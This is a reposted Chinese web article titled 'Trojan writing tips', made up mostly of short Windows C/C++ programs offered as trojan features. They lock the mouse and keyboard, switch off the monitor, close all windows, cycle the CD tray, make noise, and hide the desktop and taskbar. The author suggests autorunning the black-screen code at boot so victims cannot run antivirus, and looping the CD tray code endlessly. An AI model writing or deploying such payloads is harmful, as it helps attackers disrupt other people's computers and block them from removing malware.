首页 > 学院 > 开发设计 > 正文

木马编写小技巧(转)

2019-11-06 06:05:19
字体:
来源:转载
供稿:网友

1.锁定鼠标:

这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序[cpp] view plain copy PRint?#include <stdio.h>  #include <windows.h>  int main(int argc, char* argv[])  {   printf("/n别害怕15妙后你的鼠标就可以使用了^_^/n");   RECT rect;   rect.bottom=1;   rect.right=1;    ClipCursor(&rect);   ::Sleep(15000);   ClipCursor(NULL);//释放   return 0;  }    注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域

2.锁定键盘:

锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了[cpp] view plain copy print?#include <stdio.h>  #include <windows.h>  //处理按键消息的过程函数  LRESULT CALLBACK keyproc( int code,      WPARAM wParam,      LPARAM lParam )  {      return 1;//返回1可使键盘停止响应  }   main(int argc, char* argv[])  {          SetWindowsHookEx(WH_KEYBOARD,keyproc,GetModuleHandle(NULL),0);//安装键盘钩子      printf("/n/n/n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦/n");      ::Sleep(15000);  }    注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.

3.关闭显视器

这个也是相当简单的看看代码:[cpp] view plain copy print?#include <windows.h>      int APIENTRY WinMain(HINSTANCE hInstance,      HINSTANCE hPrevInstance,      LPSTR     lpCmdLine,      int       nCmdShow)  {      SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,2);//关闭      ::Sleep(10000);      SendMessage(FindWindow(0,0),WM_SYSCOMMAND,SC_MONITORPOWER,-1);//打开          return 0;  }  要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿

4.关闭所有窗口

原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起[cpp] view plain copy print?#include <windows.h>  BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);  int APIENTRY WinMain(HINSTANCE hInstance,      HINSTANCE hPrevInstance,      LPSTR     lpCmdLine,      int       nCmdShow)  {      EnumWindows(EnumWindowsProc,0);//将窗口句柄传给回调函数处理      return 0;  }      BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam)//回调函数  {      ::PostMessage(hwnd,WM_CLOSE,0,0);//结束窗口      return (true);//返回FALSE时EnumWindows结束  }  程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵

5.锁定光驱

其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱[cpp] view plain copy print?#include <mmsystem.h>//注意加入头文件  int APIENTRY WinMain(HINSTANCE hInstance,      HINSTANCE hPrevInstance,      LPSTR     lpCmdLine,      int       nCmdShow)  {      ::mciSendString("set cdaudio door open",NULL,0,NULL);//打开      ::mciSendString("set cdaudio door closed wait",NULL,0,NULL);//关闭      return 0;  }  //注意在 工程-设置-LINK中加入库文件名winmm.lib如果你弄个死循环,就可以让他的光驱好好活动活动了^_^

6.制造噪音

大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在[cpp] view plain copy print?#include<windows.h>  main()  {      for(int j=450;j<500;j++)      {          for(int i=1000;i<1110;i++)          {              Beep(i,30);              ::Sleep(100);          }      }      }  关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。

7.隐藏桌面

其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。 [cpp] view plain copy print?#include <stdio.h>  #include <windows.h>  int main(int argc, char* argv[])  {      HWND disk,mask;      disk=FindWindow("ProgMan",NULL);      mask=FindWindow("Shell_TrayWnd",NULL);      ShowWindow(mask,SW_HIDE);//隐藏任务栏      ShowWindow(disk,SW_HIDE);//隐藏桌面      printf("/n15妙后会自动出现桌面 请等待...../n");      Sleep(15000);      ShowWindow(mask,SW_SHOW);//显示      ShowWindow(disk,SW_SHOW);//显示      return 0;  }  
发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表